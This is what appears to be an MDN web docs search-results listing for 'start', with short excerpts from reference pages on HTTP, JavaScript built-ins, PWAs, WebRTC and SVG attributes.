...ko version number present in the ua string. firefox os version number gecko version number 1.0.1 18.0 1.1 18.1 1.2 26.0 1.3 28.0 1.4 30.0 2.0 32.0 2.1 34.0 2.2 37 2.5 44 it's easy to find the correspondences by looking at the mercurial repository names: repositories
starting by mozilla-b2g are the release repositories for firefox os, and have both firefox os and gecko versions in their names. firefox os has a four-digit version number: x.x.x.y. the first two digits are owned by the mozilla product team and denote versions with new features (eg: v1.1, 1.2, etc). the third digit is incremented with regular version tags (about every 6 weeks) for security updates, a...
HTTP Index - HTTP
e desired action to be performed for a given resource. although they can also be nouns, these request methods are sometimes referred as http verbs. each of them implements a different semantic, but some common features are shared by a group of them: e.g. a request method can be safe, idempotent, or cacheable. 207 connect http, reference, request method the http connect method
starts two-way communications with the requested resource. it can be used to open a tunnel. 208 delete http, http method, reference, request method the http delete request method deletes the specified resource. 209 get http, reference, request method the http get method requests a representation of the specified resource. requests using get should only retrieve...
...sponse code indicates the protocol the server is switching to as requested by a client which sent the message including the upgrade request header. 220 103 early hints draft, http, informational, needscompattable, needscontent, status code the http 103 early hints information response status code is primarily intended to be used with the link header to allow the user agent to
start preloading resources while the server is still preparing a response. 221 200 ok http, status code, success the http 200 ok success status response code indicates that the request has succeeded. a 200 response is cacheable by default. 222 201 created http, reference, status code, success the http 201 created success status response code indicates that the ...
Redirections in HTTP - HTTP
or this operation. redirects accomplish numerous goals: temporary redirects during site maintenance or downtime permanent redirects to preserve existing links/bookmarks after changing the site's urls, progress pages when uploading a file, etc. principle in http, redirection is triggered by a server sending a special redirect response to a request. redirect responses have status codes that
start with 3, and a location header holding the url to redirect to. when browsers receive a redirect, they immediately load the new url provided in the location header. besides the small performance hit of an additional round-trip, users rarely notice the redirection. there are several types of redirects, sorted into three categories: permanent redirections temporary redirections special redir...
...http redirects are the best way to create redirections, but sometimes you don't have control over the server. in that case, try a <meta> element with its http-equiv attribute set to refresh in the <head> of the page. when displaying the page, the browser will go to the indicated url. <head> <meta http-equiv="refresh" content="0; url=https://example.com/"> </head> the content attribute should
start with a number indicating how many seconds the browser should wait before redirecting to the given url. always set it to 0 for accessibility compliance. obviously, this method only works with html, and cannot be used for images or other types of content. javascript redirections redirections in javascript are performed by setting a url string to the window.location property, loading the new page...
Functions - JavaScript
enclosed function also defines a variable called "name". name = name; // how do we access the "name" defined by the outer function? } } } using the arguments object the arguments of a function are maintained in an array-like object. within a function, you can address the arguments passed to it as follows: arguments[i] where i is the ordinal number of the argument,
starting at 0. so, the first argument passed to a function would be arguments[0]. the total number of arguments is indicated by arguments.length. using the arguments object, you can call a function with more arguments than it is formally declared to accept. this is often useful if you don't know in advance how many arguments will be passed to the function. you can use arguments.length to determine the...
.... oregano. pepper. parsley. " myconcat('. ', 'sage', 'basil', 'oregano', 'pepper', 'parsley'); note: the arguments variable is "array-like", but not an array. it is array-like in that it has a numbered index and a length property. however, it does not possess all of the array-manipulation methods. see the function object in the javascript reference for more information. function parameters
starting with ecmascript 2015, there are two new kinds of parameters: default parameters and rest parameters. default parameters in javascript, parameters of functions default to undefined. however, in some situations it might be useful to set a different default value. this is exactly what default parameters do. without default parameters (pre-ecmascript 2015) in the past, the general strategy for...
Loops and iteration - JavaScript
way as a loop: for (let step = 0; step < 5; step++) { // runs 5 times, with values of step 0 through 4. console.log('walking east one step'); } there are many different kinds of loops, but they all essentially do the same thing: they repeat an action some number of times. (note that it's possible that number could be zero!) the various loop mechanisms offer different ways to determine the
start and end points of the loop. there are various situations that are more easily served by one type of loop over the others. the statements for loops provided in javascript are: for statement do...while statement while statement labeled statement break statement continue statement for...in statement for...of statement for statement a for loop repeats until a specified condition evaluat...
... when you use continue without a label, it terminates the current iteration of the innermost enclosing while, do-while, or for statement and continues execution of the loop with the next iteration. in contrast to the break statement, continue does not terminate the execution of the loop entirely. in a while loop, it jumps back to the condition. in a f...
Numbers and dates - JavaScript
with bigint values. see also javascript data types and structures for context with other primitive types in javascript. you can use four types of number literals: decimal, binary, octal, and hexadecimal. decimal numbers 1234567890 42 // caution when using leading zeros: 0888 // 888 parsed as decimal 0777 // parsed as octal in non-strict mode (511 in decimal) note that decimal literals can
start with a zero (0) followed by another decimal digit, but if every digit after the leading 0 is smaller than 8, the number gets parsed as an octal number. binary numbers binary number syntax uses a leading zero followed by a lowercase or uppercase latin letter "b" (0b or 0b). if the digits after the 0b are not 0 or 1, the following syntaxerror is thrown: "missing binary digits after 0b". var flt_...
...ro: 0644 === 420 and "\045" === "%". in ecmascript 2015, octal numbers are supported if they are prefixed with 0o, e.g.: var a = 0o10; // es2015: 8 hexadecimal numbers hexadecimal number syntax uses a leading zero followed by a lowercase or uppercase latin letter "x" (0x or 0x). if the digits after 0x are outside the range (0123456789abcdef), the following syntaxerror is thrown: "identifier
starts immediately after numeric literal". 0xfffffffffffffffff // 295147905179352830000 0x123456789abcdef // 81985529216486900 0xa // 10 exponentiation 1e3 // 1000 2e6 // 2000000 0.1e2 // 10 number object the built-in number object has properties for numerical constants, such as maximum value, not-a-number, and infinity. you cannot change the values of these properties and y...
Text formatting - JavaScript
se. the following table summarizes the methods of string objects. methods of string method description charat, charcodeat, codepointat return the character or character code at the specified position in string. indexof, lastindexof return the position of specified substring in the string or last position of specified substring, respectively.
startswith, endswith, includes returns whether or not the string
starts, ends or contains a specified string. concat combines the text of two strings and returns a new string. fromcharcode, fromcodepoint constructs a string from the specified sequence of unicode values. this is a method of the string class, not a string instance. split splits a string object into ...
...s a string from the specified sequence of unicode values. this is a method of the string class, not a string instance. split splits a string object into an array of strings by separating the string into substrings. slice extracts a section of a string and returns a new string. substring, substr return the specified subset of the string, either by specifying the
start and end indexes or the
start index and a length. match, matchall, replace, replaceall, search work with regular expressions. tolowercase, touppercase return the string in all lowercase or all uppercase, respectively. normalize returns the unicode normalization form of the calling string value. repeat returns a string consisting of the eleme...
Working with objects - JavaScript
ess the properties of the mycar object as follows: mycar['make'] = 'ford'; mycar['model'] = 'mustang'; mycar['year'] = 1969; an object property name can be any valid javascript string, or anything that can be converted to a string, including the empty string. however, any property name that is not a valid javascript identifier (for example, a property name that has a space or a hyphen, or that
starts with a number) can only be accessed using the square bracket notation. this notation is also very useful when property names are to be dynamically determined (when the property name is not determined until runtime). examples are as follows: // four variables are created and assigned in a single go, // separated by commas var myobj = new object(), str = 'mystring', rand = math.random(), ...
... object.keys(o) this method returns an array with all the own (not in the prototype chain) enumerable properties' names ("keys") of an object o. object.getownpropertynames(o) this method returns an arra...
JavaScript error reference - JavaScript
clude a link to the corresponding page below to help you quickly comprehend the problem in your code. for a beginner's introductory tutorial on fixing javascript errors, see what went wrong? troubleshooting javascript. list of errors in this list, each page is listed by name (the type of error) and message (a more detailed human-readable error message). together, these two properties provide a
starting point toward understanding and resolving the error. for more information, follow the links below! error: permission denied to access property "x"internalerror: too much recursionrangeerror: argument is not a valid code pointrangeerror: invalid array lengthrangeerror: invalid daterangeerror: precision is out of rangerangeerror: radix must be an integerrangeerror: repeat count must be less than...
... unexpected tokensyntaxerror: using //@ to indicate sourceurl pragmas is deprecated. ...
Array.prototype.reduce() - JavaScript
s supplied). it takes four arguments: accumulator the accumulator accumulates callback's return values. it is the accumulated value previously returned in the last invocation of the callback—or initialvalue, if it was supplied (see below). currentvalue the current element being processed in the array. index optional the index of the current element being processed in the array.
starts from index 0 if an initialvalue is provided. otherwise, it
starts from index 1. array optional the array reduce() was called upon. initialvalue optional a value to use as the first argument to the first call of the callback. if no initialvalue is supplied, the first element in the array will be used as the initial accumulator value and skipped as currentvalue. calling reduce() on an em...
...values. if initialvalue is provided in the call to reduce(), then accumulator will be equal to initialvalue, and currentvalue will be equal to the first value in the array. if no initialvalue is provided, then accumulator will be equal to the first value in the array, and currentvalue will be equal to the second. note: if initialvalue is not provided, reduce() will execute the callback function
starting at index 1, skipping the first index. if initialvalue is provided, it will
start at index 0. if the array is empty and no initialvalue is provided, typeerror will be thrown. if the array only has one element (regardless of position) and no initialvalue is provided, or if initialvalue is provided but the array is empty, the solo value will be returned without calling callback. it is almost ...
Array.prototype.fill() - JavaScript
the fill() method changes all elements in an array to a static value, from a
start index (default 0) to an end index (default array.length). it returns the modified array. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax arr.fill(value[,
start[, end]]) parameters value value to fill the array with. (note all elements in the array will be this exact value.)
start optional
start index, default 0. end optional end index, default arr.length. return value the modified array, filled with value. description if
start is negative, it is treated as array.length +
start. if end is negative, it is treate...
...ach slot in the array will reference that object. polyfill if (!array.prototype.fill) { object.defineproperty(array.prototype, 'fill', { value: function(value) { // steps 1-2. if (this == null) { throw new typeerror('this is null or not defined'); } var o = object(this); // steps 3-5. var len = o.length >>> 0; // steps 6-7. var
start = arguments[1]; var relative
start =
start >> 0; // step 8. var k = relative
start < 0 ? math.max(len + relative
start, 0) : math.min(relative
start, len); // steps 9-10. var end = arguments[2]; var relativeend = end === undefined ? len : end >> 0; // step 11. var finalvalue = relativeend < 0 ? math.max(len + relativee...
Array - JavaScript
console.log(vegetables) // ["cabbage", "carrot"] (the original array is changed) console.log(removeditems) // ["turnip", "radish"] copy an array let shallowcopy = fruits.slice() // this is how to make a copy // ["strawberry", "mango"] accessing array elements javascript arrays are zero-indexed. the first el...
...) and/or value(s). array.prototype.copywithin() copies a sequence of array elements within the array. array.prototype.entries() returns a new array iterator object that contains the key/value pairs for each index in the array. array.prototype.every() returns true if every element in this array satisfies the testing function. array.prototype.fill() fills all the elements of an array from a
start index to an end index with a static value. array.prototype.filter() returns a new array containing all elements of the calling array for which the provided filtering function returns true. array.prototype.find() returns the found element in the array, if some element in the array satisfies the testing function, or undefined if not found. array.prototype.findindex() returns the found index i...
DataView.prototype.getBigInt64() - JavaScript
littleendian optional indicates whether the 64-bit int is stored in little- or big-endian format. if false or undefined, a big-endian value is read. return value a bigint. ...
... littleendian optional indicates whether the 64-bit int is stored in little- or big-endian format. if false or undefined, a big-endian value is read. return value a bigint. errors thrown rangeerror thrown if the byteoffset is set such that it would read beyond the end of the view. ...
DataView.prototype.setInt8() - JavaScript
value the value to set. return value undefined. errors thrown rangeerror thrown if the byteoffset is set such as it would store beyond the end of the view. ...
... value the value to set. return value undefined. errors thrown rangeerror thrown if the byteoffset is set such as it would store beyond the end of the view. ...
DataView.prototype.setUint16() - JavaScript
value the value to set. littleendian optional indicates whether the 16-bit int is stored in little- or big-endian format. ...
... value the value to set. littleendian optional indicates whether the 16-bit int is stored in little- or big-endian format. if false or undefined, a big-endian value is written. return value undefined. errors thrown rangeerror thrown if the byteoffset is set such as it would store beyond the end of the view. ...
DataView.prototype.setUint32() - JavaScript
value the value to set. littleendian optional indicates whether the 32-bit int is stored in little- or big-endian format. ...
... value the value to set. littleendian optional indicates whether the 32-bit int is stored in little- or big-endian format. if false or undefined, a big-endian value is written. return value undefined. errors thrown rangeerror thrown if the byteoffset is set such as it would store beyond the end of the view. ...
DataView.prototype.setUint8() - JavaScript
value the value to set. return value undefined. errors thrown rangeerror thrown if the byteoffset is set such as it would store beyond the end of the view. ...
... value the value to set. return value undefined. errors thrown rangeerror thrown if the byteoffset is set such as it would store beyond the end of the view. ...
Error.prototype.stack - JavaScript
ack trace example</title> <body> <script> function trace() { try { throw new error('myerror'); } catch(e) { alert(e.stack); } } function b() { trace(); } function a() { b(3, 4, '\n\n', undefined, {}); } a('first call, firstarg'); </script> assuming the above markup is saved as c:\example.html on a windows file system it produces an alert message box with the following text:
starting with firefox 30 and later containing the column number: trace@file:///c:/example.html:9:17 b@file:///c:/example.html:16:13 a@file:///c:/example.html:19:13 @file:///c:/example.html:21:9 firefox 14 to firefox 29: trace@file:///c:/example.html:9 b@file:///c:/example.html:16 a@file:///c:/example.html:19 @file:///c:/example.html:21 firefox 13 and earlier would instead produce the following text...
...function calls are indicated with "> function" and eval calls with "> eval". try { new function('throw new error()')(); } catch (e) { console.log(e.stack); } // anonymous@file:///c:/example.html line 7 > function...
Intl.DateTimeFormat.prototype.formatRangeToParts() - JavaScript
s locale-specific tokens representing each part of the formatted date range produced by datetimeformat formatters. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax intl.datetimeformat.prototype.formatrangetoparts(
startdate, enddate) examples basic formatrangetoparts usage this method receives two dates and returns an array of objects containing the locale-specific tokens representing each part of the formatted date range. let date1 = new date(date.utc(2007, 0, 10, 10, 0, 0)); let date2 = new date(date.utc(2007, 0, 10, 11, 0, 0)); // > 'wed, 10 jan 2007 10:00:00 gmt' // > 'wed, 10 jan 2007 11:00:00 gmt' let...
...let date2 = new date(date.utc(2007, 0, 10, 11, 0, 0)); // > 'wed, 10 jan 2007 10:00:00 gmt' // > 'wed, 10 jan 2007 11:00:00 gmt' let fmt = new intl.datetimeformat("en", { hour: 'numeric', minute: 'numeric' }); console.log(fmt.formatrange(date1, date2)); // > '10:00 – 11:00 am' fmt.formatrangetoparts(date1, date2); // return value: // [ // { type: 'hour', value: '10', source: "
startrange" }, // { type: 'literal', value: ':', source: "
startrange" }, // { type: 'minute', value: '00', source: "
startrange" }, // { type: 'literal', value: ' – ', source: "shared" }, // { type: 'hour', value: '11', source: "endrange" }, // { type: 'literal', value: ':', source: "endrange" }, // { type: 'minute', value: '00', source: "endrange" }, // ...
RegExpInstance.lastIndex - JavaScript
the lastindex is a read/write integer property of regular expression instances that specifies the index at which to
start the next match. property attributes of regexpinstance.lastindex writable yes enumerable no configurable no description this property is set only if the regular expression instance used the g flag to indicate a global search, or the y flag to indicate a sticky search. the following rules apply: if lastindex is greater than the length of the string, test() and exec() fail, then lastindex is set to 0. ...
...ion instance used the g flag to indicate a global search, or the y flag to indicate a sticky search. the following rules apply: if lastindex is greater than the length of the string, test() and exec() fail, then lastindex is set to 0. if lastindex is equal to or less than the length of the string and if the regular expression matches the empty string, then the regular expression matches input
starting from lastindex. if lastindex is equal to the length of the string and if the regular expression does not match the empty string, then the regular expression mismatches input, and lastindex is reset to 0. otherwise, lastindex is set to the next position following the most recent match. examples using lastindex consider the following sequence of statements: var re = /(hi)?/g; matches th...
RegExp.prototype.source - JavaScript
interactive-examples and send us a pull request. property attributes of regexp.prototype.source writable no enumerable no configurable yes examples using source var regex = /foobar/ig; console.log(regex.source); // "foobar", doesn't contain /.../ and "ig". ...
...nd "ig". empty regular expressions and escaping
starting with ecmascript 5, the source property no longer returns an empty string for empty regular expressions. instead, the string "(?:)" is returned. in addition, line terminators (such as "\n") are escaped now. new regexp().source; // "(?:)" new regexp('\n').source === '\n'; // true, prior to es5 new regexp('\n').source === '\\n'; // true,
starting with es5 specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype.source' in that specification. ...
SharedArrayBuffer - JavaScript
pu, the os, the browser) it can take a while until the change is propagated to all contexts. to synchronize, atomic operations are needed. apis which use sharedarraybuffer objects webglrenderingcontext.bufferdata() webglrenderingcontext.buffersubdata() webgl2renderingcontext.getbuffersubdata() security requirements shared memory and high-resolution timers were effectively disabled at the
start of 2018 in light of spectre. in 2020, a new, secure approach has been standardized to re-enable shared memory. with a few security measures, postmessage() will no longer throw for sharedarraybuffer objects and shared memory across threads will be available: as a baseline requirement, your document needs to be in a secure context. for top-level documents, two headers will need to be set to cross...
...calling a sharedarraybuffer constructor as a function without new will throw a typeerror. var sab = sharedarraybuffer(1024); // typeerror: calling a builtin sharedarraybuffer constructor // without new...
String.prototype.slice() - JavaScript
str4) // output: is upon us. console.log(str5) // output: "" using slice() with negative indexes the following example uses slice() with negative indexes. ...
...ole.log(str5) // output: "" using slice() with negative indexes the following example uses slice() with negative indexes. let str = 'the morning is upon us.' str.slice(-3) // returns 'us.' str.slice(-3, -1) // returns 'us' str.slice(0, -1) // returns 'the morning is upon us' this example counts backwards from the end of the string by 11 to find the
start index and forwards from the
start of the string by 16 to find the end index. console.log(str.slice(-11, 16)) // => "is u" here it counts forwards from the
start by 11 to find the
start index and backwards from the end by 7 to find the end index. console.log(str.slice(11, -7)) // => " is u" these arguments count backwards from the end by 5 to find the
start index and backwards from the end by 1 to find the end index. console.
TypedArray.prototype.copyWithin() - JavaScript
the copywithin() method copies the sequence of array elements within the array to the position
starting at target. the copy is taken from the index positions of the second and third arguments
start and end. the end argument is optional and defaults to the length of the array. this method has the same algorithm as array.prototype.copywithin. typedarray is one of the typed array types here. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...ngth of the array. this method has the same algorithm as array.prototype.copywithin. typedarray is one of the typed array types here. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax typedarray.copywithin(target,
start[, end = this.length]) parameters target target
start index position where to copy the elements to.
start source
start index position where to
start copying elements from. end optional optional. source end index position where to end copying elements from. return value the modified array. description see array.prototype.copywithin for more details. examples using copywithin var bu...
Template literals (Template strings) - JavaScript
ethod exists to create raw strings—just like the default template function and string concatenation would create. ...
...tring.raw`hi\n${2+3}!`; // "hi\n5!" str.length; // 6 array.from(str).join(','); // "h,i,\,n,5,!" tagged templates and escape sequences es2016 behavior as of ecmascript 2016, tagged templates conform to the rules of the following escape sequences: unicode escapes
started by "\u", for example \u00a9 unicode code point escapes indicated by "\u{}", for example \u{2f804} hexadecimal escapes
started by "\x", for example \xa9 octal literal escapes
started by "\0o" and followed by one or more digits, for example \0o251 this means that a tagged template like the following is problematic, because, per ecmascript grammar, a parser looks for valid unicode escape sequences, but finds malformed syntax: latex`\unicode` // throws in older ecmascript versions (es2016 and earlier) // syntaxerror: ...
Web app manifests
st contain comments? it is a json-formatted file, with one exception: it is allowed to contain "//"-style comments. members web manifests can contain the following keys. ...
.../"-style comments. members web manifests can contain the following keys. ...
Codecs used by WebRTC - Web media technologies
example, to determine the supported codecs for video, you can do this: codeclist = rtcrtpsender.getcapabilities("video").codecs; now codeclist is an array of rtcrtpcodeccapability objects, each describing one codec configuration. also present in the list will be entries for retransmission (rtx), redundant coding (red), and forward error correction (fec). if the connection is in the process of
starting up, you can use the icegatheringstatechange event to watch for the completion of ice candidate gathering, then fetch the list. let codeclist = null; peerconnection.addeventlistener("icegatheringstatechange", (event) => { if (peerconnection.icegatheringstate === "complete") { const senders = peerconnection.getsenders(); senders.foreach((sender) => { if (sender.track.kind === ...
...crtpreceiver.getcapabilities(kind).codecs; if (kind === "video") { sendcodecs = prefercodec(mimetype); recvcodecs = prefercodec(mimetype); transceiver.setcodecpreferences([...sendcodecs, ...recvcodecs]); } }); peerconnection.onnegotiationneeded(); } in this sample, the function changevideocodec() takes as input the mime type of the codec you wish to use. the code
starts by getting a list of all of the rtcpeerconnection's transceivers. then, for each transceiver, we get the kind of media represented by the transceiver from the rtcrtpsender's track's kind. we also get the lists of all codecs supported by the browser for both sending and receiving video, using the getcapabilities() static method of both rtcrtpsender and rtcrtpreceiver. if the media is video, we ...
Mapping the width and height attributes of media container elements to their aspect-ratio - Web media technologies
he page layout. this wasn't an attractive thing for your users to see, and could also result in performance issues due to the repainting required after each image loads, hence adding the attributes being a good idea. let’s move forward a few years to the era of responsive design. to keep images from breaking out of their containers when the container becomes narrower than the image, developers
started using css like the following: img { max-width: 100%; height: auto; } this is really useful for responsive layouts, but unfortunately it causes the jank problem to return — the above css overrides the width and height attribute information, meaning that if the image has not loaded for some reason, its height will be set to 0. when the image finally loads, the same jank will occur as the ...
...the image has loaded. however, this caused a problem — a number of web sites actually use the width and height attributes incorrectly, setting an aspect ratio of something other than the image’s intrinsic aspect ratio. once such an image loads, if the internal aspect ratio is still applied it will result in the <img> not displaying the image correctly. therefore, once the image is loaded, we
start using the intrinsic aspect ratio of the loaded image rather than the aspect ratio from the attributes, so it displays at the correct aspect ratio. summary so there you have it — eliminating another piece of jank from web layout! there is no need for a web developer to do anything special to their code to take advantage of this, besides returning to the habit of using width and height attribut...
CSS and JavaScript animation performance - Web Performance
vascript-based animation. css transitions and animations both css transitions and animations can be used to write animation. they each have their own user scenarios: css transitions provide an easy way to make animations occur between the current style and an end css state, e.g., a resting button state and a hover state. even if an element is in the middle of a transition, the new transition
starts from the current style immediately instead of jumping to the end css state. see using css transitions for more details. css animations, on the other hand, allow developers to make animations between a set of
starting property values and a final set rather than between two states. css animations consist of two components: a style describing the css animation, and a set of key frames that indicat...
...see using css animations for more details. ...
How to make PWAs re-engageable using Notifications and Push - Progressive web apps (PWAs)
, and its operation is handled by the app's service worker. notifications can be used by the service worker to show new information to the user, or at least alert them when something has been updated. they work outside of the browser window, just like service workers, so updates can be pushed and notifications can be shown when the app's page is out of focus or even closed. notifications let's
start with notifications — they can work without push, but are very useful when combined with them. let’s look at them in isolation to begin with. request permission to show a notification, we have to request permission to do so first. instead of showing the notification immediately though, best practice dictates that we should show the popup when the user requests it by clicking on a button: va...
...ffers hosting of static files only. it is all explained in the service worker cookbook — see the push payload demo. this demo consists of three files: index.js, which contains the source code of our app server.js, which contains the server part (written in node.js) service-worker.js, which contains the service worker-specific code. let's explore all of these index.js the index.js file
starts by registering the service worker: navigator.serviceworker.register('service-worker.js') .then(function(registration) { return registration.pushmanager.getsubscription() .then(async function(subscription) { // registration part }); }) .then(function(subscription) { // subscription part }); it is a little bit more complicated than the service worker we saw in the js13kpwa demo. ...
Progressive web apps (PWAs)
service worker is a script that allows intercepting and control of how a web browser handles its network requests and asset caching. with service workers, web developers can create reliably fast web pages and offline experiences. manifest file a json file that controls how your app appears to the user and ensures that progressive web apps are discoverable. it describes the name of the app, the
start url, icons, and all of the other details necessary to transform the website into an app-like format. pwa advantages pwas should be discoverable, installable, linkable, network independent, progressive, re-engageable, responsive, and safe. to find out more about what these mean, read progressive web app advantages. to find out how to implement pwas, read through our pwa developer guide. docum...
...us articles we covered apis that help us make our js13kpwa example a progressive web app: service workers, web manifests, notifications and push. in this article we will go even further and improve the performance of the app by progressively loading its resources.progressive web app structurenow that we know the theory behind pwas, let's look at the recommended structure of an actual app. ...
Web technology reference
the open web is based on a number of technologies which, together, can be used to create everything from simple sites to powerful web applications. below you'll find links to a selection of key documentation for each. if you're new to web development, consider
starting with our learning area, which is filled with step-by-step tutorials that will guide you from total webdev newbie to at least semi-pro! html — structuring the web hypertext markup language is used to define and describe semantically the content (markup) of a web page in a well-structured format. html provides a means to create structured documents made up of blocks called html elements that are delineated by tags, written using angle brackets. some introduce content into the page directly, others provide informatio...
...rmation about document text and may include other tags as sub-elements. obviously, browsers do not display them, since they are used to interpret the content of the page. introduction to html | learn html | html5 | developer guide | element reference | reference css — styling the web cascading style sheets are used to describe the appearance of web content. introduction to css | getting
started with css | learn css | common css questions | reference javascript — dynamic client-side scripting the javascript programming language is used to add interactivity and other dynamic features to web sites. learn javascript | developer guide | reference ...
cx - SVG: Scalable Vector Graphics
" stop-color="black" /> </radialgradient> <circle cx="50" cy="50" r="45"/> <ellipse cx="150" cy="50" rx="45" ry="25" /> <rect x="205" y="5" width="90" height="90" fill="url(#mygradient)" /> </svg> circle for <circle>, cx defines the x-axis coordinate of the center of the shape. ...
... radialgradient for <radialgradient>, cx defines the x-axis coordinate of the end circle for the radial gradient. ...
cy - SVG: Scalable Vector Graphics
-color="black" /> </radialgradient> <circle cy="50" cx="50" r="45"/> <ellipse cy="150" cx="50" rx="45" ry="25" /> <rect x="5" y="205" width="90" height="90" fill="url(#mygradient)" /> </svg> circle for <circle>, cy defines the y-axis coordinate of the center of the shape. ...
... radialgradient for <radialgradient>, cy defines the y-axis coordinate of the end circle for the radial gradient. ...
rx - SVG: Scalable Vector Graphics
/> <rect x="120" y="120" width="60" height="60" rx="15" ry="15"/> <rect x="220" y="120" width="60" height="60" rx="150" ry="15"/> </svg> ellipse for <ellipse>, rx defines the x-radius of the shape. with a value lower or equal to zero the ellipse won't be drawn at all. value <length> | <percentage> | auto default value auto animatable yes note:
starting with svg2, rx is a geometry property meaning this attribute can also be used as a css property for ellipses. rect for <rect>, rx defines the x-axis radius of the ellipse used to round off the corners of the rectangle. the way the value of the rx attribute is interpreted depend on both the ry attribute and the width of the rectangle: if a properly specified value is provided for rx but no...
... the defined one. if neither rx nor ry has a properly specified value, then the browser will draw a rectangle with square corners. if rx is greater than half of the width of the rectangle, then the browser will consider the value for rx as half of the width of the rectangle. value <length> | <percentage> | auto default value auto animatable yes note:
starting with svg2, rx is a geometry property meaning this attribute can also be used as a css property for rects. specifications specification status comment scalable vector graphics (svg) 2the definition of 'rx' in that specification. candidate recommendation definition as a geometry property scalable vector graphics (svg) 1.1 (second edition)the definitio...
ry - SVG: Scalable Vector Graphics
/> <rect x="120" y="120" width="60" height="60" ry="15" rx="15"/> <rect x="220" y="120" width="60" height="60" ry="150" rx="15"/> </svg> ellipse for <ellipse>, ry defines the y-radius of the shape. with a value lower or equal to zero the ellipse won't be drawn at all. value <length> | <percentage> | auto default value auto animatable yes note:
starting with svg2, ry is a geometry property meaning this attribute can also be used as a css property for ellipses. rect for <rect>, ry defines the y-axis radius of the ellipse used to round off the corners of the rectangle. the way the value of the ry attribute is interpreted depend on both the rx attribute and the width of the rectangle: if a properly specified value is provided for ry but no...
... the defined one. if neither ry nor rx has a properly specified value, then the browser will draw a rectangle with square corners. if ry is greater than half of the width of the rectangle, then the browser will consider the value for ry as half of the width of the rectangle. value <length> | <percentage> | auto default value auto animatable yes note:
starting with svg2, ry is a geometry property meaning this attribute can also be used as a css property for rects. specifications specification status comment scalable vector graphics (svg) 2the definition of 'ry' in that specification. candidate recommendation definition as a geometry property scalable vector graphics (svg) 1.1 (second edition)the definitio...
textLength - SVG: Scalable Vector Graphics
cifies the width of the space the text will be adjusted to occupy as absolute length or percentage. <number> a numeric value outlines a length referring to the units of the current coordinate system. example let's create a simple example that presents text you can resize using an <input> element of type "range". css .controls { font: 16px "open sans", "arial", sans-serif; } svg let's
start with the svg. it's pretty basic, with a 1000-by-300 pixel space mapped into a 10 centimeter by 3 centimeter box. <svg width="10cm" height="3cm" viewbox="0 0 1000 300" xmlns="http://www.w3.org/2000/svg"> <rect x="1" y="1" width="998" height="298" fill="none" stroke="green" stroke-width="2"/> <text id="hello" x="10" y="150" font-family="sans-serif" font-size="60" fill="green"...
...="controls"> <input type="range" id="widthslider" min="80" max="978"> <span id="widthdisplay"></span> </div> the <input> element, of type "range", is used to create the slider control the user will manipulate to change the width of the text. a <span> element of id "widthdisplay" is provided to display the current width value. javascript finally, let's have a look at the javascript code. ...
<linearGradient> - SVG: Scalable Vector Graphics
ribute provides additional transformation to the gradient coordinate system. value type: <transform-list> ; default value: identity transform; animatable: yes href this attribute defines a reference to another <lineargradient> element that will be used as a template. value type: <url> ; default value: none; animatable: yes spreadmethod this attribute indicates how the gradient behaves if it
starts or ends inside the bounds of the shape containing the gradient. value type: pad|reflect|repeat ; default value: pad; animatable: yes x1 this attribute defines the x coordinate of the
starting point of the vector gradient along which the linear gradient is drawn. value type: <length> ; default value: 0%; animatable: yes x2 this attribute defines the x coordinate of the ending point of the v...
... this attribute defines the x coordinate of the ending point of the vector gradient along which the linear gradient is drawn. value type: <length> ; default value: 100%; animatable: yes xlink:href an <iri> reference to another <lineargradient> element that will be used as a template. value type: <iri> ; default value: none; animatable: yes y1 this attribute defines the y coordinate of the
starting point of the vector gradient along which the linear gradient is drawn. value type: <length> ; default value: 0%; animatable: yes y2 this attribute defines the y coordinate of the ending point of the vector gradient along which the linear gradient is drawn. value type: <length> ; default value: 0%; animatable: yes global attributes core attributes most notably: id styling attributes ...
<radialGradient> - SVG: Scalable Vector Graphics
r="4" fill="url('#mygradient')" /> </svg> attributes cx this attribute defines the x coordinate of the end circle of the radial gradient. value type: <length> ; default value: 50%; animatable: yes cy this attribute defines the y coordinate of the end circle of the radial gradient. value type: <length> ; default value: 50%; animatable: yes fr this attribute defines the radius of the
start circle of the radial gradient. the gradient will be drawn such that the 0% <stop> is mapped to the perimeter of the
start circle. value type: <length> ; default value: 50%; animatable: yes fx this attribute defines the x coordinate of the
start circle of the radial gradient. value type: <length> ; default value: same as cx; animatable: yes fy this attribute defines the y coordinate of the s...
...hat will be used as a template. value type: <url> ; default value: none; animatable: yes r this attribute defines the radius of the end circle of the radial gradient. the gradient will be drawn such that the 100% <stop> is mapped to the perimeter of the end circle. value type: <length> ; default value: 50%; animatable: yes spreadmethod this attribute indicates how the gradient behaves if it
starts or ends inside the bounds of the shape containing the gradient. value type: pad|reflect|repeat ; default value: pad; animatable: yes xlink:href an <iri> reference to another <lineargradient> element that will be used as a template. value type: <iri> ; default value: none; animatable: yes global attributes core attributes most notably: id styling attributes class, style event attrib...
<text> - SVG: Scalable Vector Graphics
value type: <length>|<percentage> ; default value: 0; animatable: yes dx shifts the text position horizontally from a previous text element. value type: <length>|<percentage> ; default value: none; animatable: yes dy shifts th...
...l: red; } </style> <text x="20" y="35" class="small">my</text> <text x="40" y="35" class="heavy">cat</text> <text x="55" y="55" class="small">is</text> <text x="65" y="55" class="rrrrr">grumpy!</text> </svg> attributes x the x coordinate of the
starting point of the text baseline. value type: <length>|<percentage> ; default value: 0; animatable: yes y the y coordinate of the
starting point of the text baseline. value type: <length>|<percentage> ; default value: 0; animatable: yes dx shifts the text position horizontally from a previous text element. value type: <length>|<percentage> ; default value: none; animatable: yes dy shifts the text position vertically from a previous text element. value type: <length>|<percentage> ; default value: none; animatable: yes rota...
SVG 2 support in Mozilla - SVG: Scalable Vector Graphics
ute implementation status unknown kerning property removed implementation status unknown path attribute for <textpath> implemented (bug 1446617) reference basic shapes to <textpath> implementation status unknown side attribute for <textpath> implemented (bug 1446650) render characters for one loop of a single closed path, effected by the
